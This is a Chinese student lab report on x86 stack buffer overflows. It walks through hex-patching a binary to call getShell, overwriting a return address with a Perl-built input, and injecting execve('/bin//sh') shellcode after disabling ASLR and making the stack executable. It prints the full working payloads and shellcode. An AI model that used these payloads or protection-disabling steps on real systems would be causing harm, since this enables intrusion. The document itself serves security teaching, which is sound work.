实验一 PC平台逆向破解(5)M
基础知识
-
BoF(溢出攻击)原理,自己的理解
内存指定一片空间存放栈,寄存器ebp存放瞬时栈指针,是在调用函数,为函数分配栈空间时存放函数栈的栈底所在地址(内存中的地址),寄存器esp存放栈顶的地址(内存中的地址),当调用函数时,汇编里会执行
call
,这条指令相当于push %eip + jmp
,就是先把寄存器eip里的值(这个是call指令之后一条指令的内存地址,也就是函数执行完后要返回地址)压栈,然后跳转到调用函数的内存部分开始执行函数。函数执行开始,第一句汇编就是push %ebp
,就是把函数调用前的栈底(内存中地址)压栈,然后mov %esp, %ebp
,把当前寄存器esp里的值复制到寄存器ebp的值,现在寄存器ebp和寄存器esp存的值相同,寄存器ebp的值(存的内存空间地址)就开始作为函数栈的栈底,后面就是给函数栈分配空间了,函数栈分配空间一般不是很大,所以当函数里有溢出相关,比如调用了strcpy或者函数局部变量数组溢出,当溢出的值覆盖了压到栈中的函数返回值就可以实现溢出攻击。栈在内存中增长是向低地址空间增长,也就是(包括主函数)函数栈栈底在高地址,栈顶在低地址,函数里分配一片数组空间或者字符串指针,数据存放时又是从低地址向高地址存(内存中),所以这样会覆盖函数的返回地址。
实验内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3)JE:条件转移指令,如果相等则跳转。(机器码:74)
(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
-
EAX
:通用寄存器。相对其-他寄存器,在进行运算方面比较常用。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器) -
EBX
:通用寄存器。通常作为内存偏移指针使用(相对于EAX、ECX、EDX),DS是默认的段寄存器或选择器。在保护模式中,同样可以起这个作用。 -
ECX
:通用寄存器。通常用于特定指令的计数。在保护模式中,也可以作为内存偏移指针(此时,DS作为 寄存器或段选择器)。 -
EDX
:通用寄存器。在某些运算中作为EAX的溢出寄存器(例如乘、除)。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)。 -
ESI
:通常在内存操作指令中作为“源地址指针”使用。当然,ESI可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。 -
EDI
:通常在内存操作指令中作为“目的地址指针”使用。当然,EDI也可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。 -
EBP
:这也是一个作为指针的寄存器。通常,它被高级语言编译器用以建造‘堆栈帧'来保存函数或过程的局部变量,不过,还是那句话,你可以在其中保存你希望的任何数据。SS是它的默认段寄存器或选择器。
2、掌握反汇编与十六进制编程器
实验中使用objdump -d filename | more,解释如下:
objdump:Linux下的反汇编目标文件或者可执行文件的命令。
-d:反汇编。
|:管道符。
more:分页显示。
十六进制编程器:十六进制编辑器,用来以16进制视图进行文本编辑的编辑工具软件。十六进制编辑器可以用来检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等。linux中安装十六进制编程器方法:apt-get install wxhexeditor。
3、能正确修改机器指令改变程序执行流程
Step1:打开kali,在命令行中进入文件所在目录,输入
objdump -d 1-20181209 | more
进行反汇编,得到如下图所示结果。
objdump命令是Linux下的反汇编目标文件或者可执行文件的命令,它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息;-d参数表示disassembly——反汇编;pwn1表示要进行反汇编操作的文件名;|表示管道服务,意指将反汇编所得到的内容通过管道输送到一个可执行文件,该文件通过more命令分页显示。
我们通过输入/getShell
可以找到我们需要关注的几个函数,因为它们是挨着的,所以找到getShell即可找到全部三个函数,如下图所示
- 地址为80484b5处,
call 8048491
是汇编指令- 执行一条call指令相当于执行了两条指令:PUSH和JMP,这条指令将调用位于地址
8048491
处的foo函数; - 其对应机器指令为
e8 d7ffffff
,e8
即call指令对应的机器指令; - 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即
80484ba
,但如一解释e8
这条指令呢,CPU就会转而执行EIP + d7ffffff
这个位置的指令。d7ffffff
是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29=8048491
,这正是foo函数的首地址。
- 执行一条call指令相当于执行了两条指令:PUSH和JMP,这条指令将调用位于地址
- main函数调用foo,对应机器指令为
e8 d7ffffff
- 由此可以发现,80484ba加上一个值,所得的就是CPU会跳转到的地址,那我们想让它调用getShell,只要修改
d7ffffff
为getShell-80484ba
对应的补码就行; -
用Windows计算器,直接 47d-4ba就能得到补码,是
c3ffffff
;
- 由此可以发现,80484ba加上一个值,所得的就是CPU会跳转到的地址,那我们想让它调用getShell,只要修改
接下来修改pwn1更改程序流程。使用vi编辑器打开文件,按esc后输入“:%!xxd”,将乱码显示为十六进制形式;然后输入/e8 d7 ff ff ff定位要修改的地址,然后将“d7 ff ff ff”修改为“c3 ff ff ff”;最后输入“:%!xxd -r”将文件还原到原来的格式
然后退出保存
再次通过ojbdump查看
已更改
4、能正确构造payload进行bof攻击
(1)首先,我们需要知道一件事:call指令的分解
当main函数选择调用foo函数时,会产生call的机械指令,call指令实际上分为两步
-
push eip
-
jump XXX(地址)
就是当执行call指令时,先要将返回地址eip压入栈中,然后跳转到函数入口。eip保
存的是call下一条指令的地址,当调用结束后,程序通过这个地址进行返回。
(2)缓冲区溢出
通过我们之前的学习可以知道,foo函数的缓冲区具有Bufferoverflow的漏洞,就是如果在这个缓冲区填入超出长度的字符串,多出来的字符串内容就会溢出并覆盖到相邻的地址内存上,当这段字符串被恶意设计后,就可能覆盖到返回地址,使我们的返回地址指向其他地方,达到攻击者的意图。
本次实验中我将覆盖返回地址,使返回地址指向getShell。
在这里说一下lea指令,lea是load effective address"的缩写,简单的说,lea指令可以用来将一个内存地址直接赋给目的操作数。
(3)如何造成缓冲区溢出:
当程序调用时,会形成自己的栈帧,但是foo函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。
下面开始验证
- 首先输入
gdb 2-20181209
,输入‘r’运行,现在我们构造一个40位的字符串
“1111111122222222333333334444444455555555”观察结果。
然后相同方法在输入“1111111122222222333333334444444412345678”查看顺序
经过gdb调试,eip寄存器的数值就是我们之前输入的1234,所以可以确定溢出的数值是第33字节到36字节。eip也被其所覆盖。
构造getShell
-
按照之前我们得知的结果,getShell函数的首地址应该是“0804847d”,现在我们只需输入一个36字节的字符串,并精心设计好33字节-36字节的数字即可,因为我们并不能通过键盘实现输入16进制,所以在这里我们使用“Perl”语言将地址通过输出重定向存储到一个文件中。
-
Perl语言: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。
-
我们输入命令:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
将地址存储到桌面。
接着输入xxd input,查看文件产生的地址数是否为“7d8404080”
通过cat语句实验成功
5、注入Shellcode并执行
(1)Shellcode:
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
本次实验我们所需要的Shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
(2)构造buf攻击的方法
-
Linux下有两种构造攻击的方法
-
retaddr+nop+shellcode
-
nop+shellcode+retaddr
在这里说一下nop的用处,nop就是指空指令,机器码为‘0x90’,代表什么都不做,直接进行下一个指令,当程序执行到nop时,都会直接执行我们的shellcode指令。
本次实验采用的是第一种方法:retaddr+nop+shellcode
(3)准备工作
这里的目的是使堆栈可以被执行已经关闭地址随机化,因为我们需要通过调试来确定shellcode的地址
-
输入execstack -s 3-20181209 //设置堆栈可执行
-
输入execstack -q 3-20181209
-
输入more /proc/sys/kernel/randomize_va_space
-
输入echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
-
输入more /proc/sys/kernel/randomize_va_space
构造payload
- 输入
perl -e 'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(注意这里最后一个字符不是\x0a,不然后续步骤无法完成) -
注入攻击buf
(cat input_shellcode;cat) | ./3-20181209
- 打开另一个终端,先找到3-20181209的进程
- 如图可以看出该进程的进程id为“102591”
- 启动gdb,输入attach 102591
- 输入disassemble foo,发现断在“080484ae”
- 输入break *0x080484ae设置断点
- 之后继续输入c继续!!!!!!这一步一定要在另一个终端摁下回车之前!!!!
- 在另外一个终端按下回车(这也是为什么攻击buf不能以\x0a
- 回到gdb终端,输入info r esp,查看栈顶指针
-
-
在图中我们可以观察到,1234的地址数为d1ac,云班课的视频提到过,我们找到9999只是相差了4个字节,所以我们直接得出其所在地址为d0d1。那么下一步我们就可以直接通过修改上面输入的40位字符串来实现shellcode注入啦!
-
我们修改字符串,输入命令:
perl -e 'print "A" x 32;print "\xd0\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
-
实验完成 就很nice啊
实验收获与感想:
这个实验还真是第一次自己认真去学习的,大部分都是跟着老师视频做的,真的很有用,跟着做了一遍,再看一遍,发现中间很多不懂的地方就通透了
这还是第一次有这种感觉,之前的实验都是照葫芦画瓢,画出来了,可能最后也不太懂原理,就是记住了,这一次是懂啦,在测试的督促下,看第二遍真的很有用,这一种很不错的学习方法,也发现了自己的Linux的基础很薄弱,确实要好好学习,不然后面可能就跟不上了。本次实验难度适中吧,还是要多学习的,后面会越来越难的。